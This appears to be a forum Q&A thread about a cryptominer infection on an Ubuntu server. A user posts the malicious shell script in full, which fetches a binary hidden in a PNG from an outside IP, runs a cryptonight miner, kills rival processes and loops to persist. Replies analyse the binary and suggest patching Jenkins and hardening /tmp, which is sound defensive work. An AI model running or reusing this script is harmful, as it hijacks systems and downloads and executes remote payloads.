5

Clam found this file named "kworker34" in the /tmp directory on my Ubuntu linux machine. I promptly deleted this file. Also found a shell file, kws.sh in there. Looks like it is connecting to 2 IP addresses - one in Russia and one in Ukraine.

Anyone seen this?

This is the content of kwa.sh -

#!/bin/sh
ps -fe|grep kworker34 |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
wget 91.235.143.237/miu.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34
else
wget -O /tmp/kworker34 http://91.235.143.237/kworker_na
fi
chmod +x /tmp/kworker34
nohup /tmp/kworker34  -B -a cryptonight -o stratum+tcp://185.154.52.74:80 -u 13 -p x >/dev/null 2>&1 &
else
echo "runing....."
fi
pkill -f conns
pkill -f irqbalance
crontab -l | sed '/91.230.47.40/d' | crontab -

sleepTime=20

while [ 0 -lt 1 ]
do
    ps -fe| grep kworker34 | grep -v grep
    if [ $? -ne 0 ]
    then
        echo "process not exists ,restart process now... "
                wget 91.235.143.237/miu.png -O /tmp/conn
                dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34
                chmod +x /tmp/kworker34
                nohup /tmp/kworker34 -a cryptonight -o stratum+tcp://185.154.52.74:80 -u 13 -p x >/dev/null 2>&1 &
        echo "restart done ..... "
    else
        echo "process exists , sleep $sleepTime seconds "
        pkill -f conns
        pkill -f irqbalance
        crontab -l | sed '/91.230.47.40/d' | crontab -
    fi
    sleep $sleepTime
done
  • Just got infected with this but the executable was named irqbalanc1 – Morgan Christiansson Jun 6 '17 at 17:13
11
... /tmp/kworker34 ... -o stratum+tcp://185.154.52.74:80 ...

Googling for stratum+tcp indicates that crypto-currency mining is going on.

 wget 91.235.143.237/miu.png -O /tmp/conn
 dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34

Having a closer look with file /tmp/kworker34 indicates /tmp/kworker34: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped. This means the PNG file is used to transport a Linux binary.

strings /tmp/kworker34 gives among a lot of junk:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $

UPX packer is by itself not bad but often used in the context of malware. Using upx -d to unpack the file and running again strings on it reveals some interesting strings:

User-Agent: cpuminer/2.3.3
...
Try `minerd --help' for more information.
Usage: minerd [OPTIONS]
  -o, --url=URL         URL of mining server
  -O, --userpass=U:P    username:password pair for mining server
  ...

Thus this is probably cpuminer version 2.3.3 as can be found on github and which is described as:

This is a multi-threaded CPU miner for Litecoin and Bitcoin, fork of Jeff Garzik's reference cpuminer.

For more information about the topic of unwanted miners see New Linux Malware Installs Bitcoin Mining Software on Infected Device and other links.

  • Thanks for all that insight. I delete the malware on detection (using Clam), but I am getting hit with it again over and over. Any suggestions for blocking this? I am on an Ubuntu server (17.04) with TomEE (latest) hosting a simple website with a MySQL database. How does the malware get in? What can I do to stop it? – Do Will May 22 '17 at 14:26
  • 1
    @DoWill: there are many ways a server can get infected, like a security problem inside the application (like SQL injection or other code injections, file uploads) or the system (like SSH accounts with weak or reused passwords) and more. And, once an attacker is inside he will probably stay inside even if the system gets updated, i.e. a permanent backdoor will be installed. It is impossible to tell what happened in your case and it is outside the scope of this question. – Steffen Ullrich May 22 '17 at 14:53
  • 2
    Nuke the server from orbit, then reinstall it will all necessary patches and hardening tools. – dr01 May 23 '17 at 10:34
5

Yes, recently there was discovered some Jenkins vulnerability which allows to execute some code on the outdated Jenkins instance, usually mining Monero cryptocurrency programs. Check these links for more information:
http://jenkins-ci.361315.n4.nabble.com/cryptonight-exploit-td4898258.html https://twitter.com/jenkinsci/status/864178120827428864

Install 2.46.2 / 2.57 or above version of Jenkins to avoid the infection.

Btw. There was a big spread of Monero malware miners one week before WannaCry appeared.

  • 1
    This is a newer version of malware described in the question. The file name is no longer "kworker34", it is something like "/tmp/JnKihGjn.sh". I only keep a screenshot of its content here cloudup.com/cLxaD_0Bue2. And yes, upgrade jenkins did solve the problem. Thanks! – Quyen Nguyen Tuan Jun 6 '17 at 17:53
4

I found out that the process runs with my jenkins build server user credentials, so that could be one way of infection.

  • Indeed, I observed this on a server running (only) Jenkins as well. – ph0t0nix May 31 '17 at 20:44
1

[Thought I will post this as an answer, so it will help anyone who may be having this issue]

Digging down into this issue, this is what I think was happening. The intruder was using a hole on my application to run a command to download a tar file onto my /tmp directory. Then, he runs a command to extract the contents of the tar file. The tar contains a shell file. Then, he proceeds to execute the shell file itself.

I still haven't been able to find the hole in my application that let the intruder sneak in the script on my system. I don't think it is too difficult to find how he got in. It is just that I haven't had a lot of time to go after that. I will get to that soon and lock him out, for sure.

In the meantime, I have made some changes to my system to prevent him from downloading and running a script on the file system.

  • Changed the permission of "wget" command. It is very important that Tomcat is not run as root. Do not give permission to the user who is running Tomcat to run "wget".
  • My /tmp directory was created as a simple directory. I changed it to a partition mounted from a file with nodev,noexec and nosuid permissions.

These steps seem to have worked in keeping the intruder out, for now.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.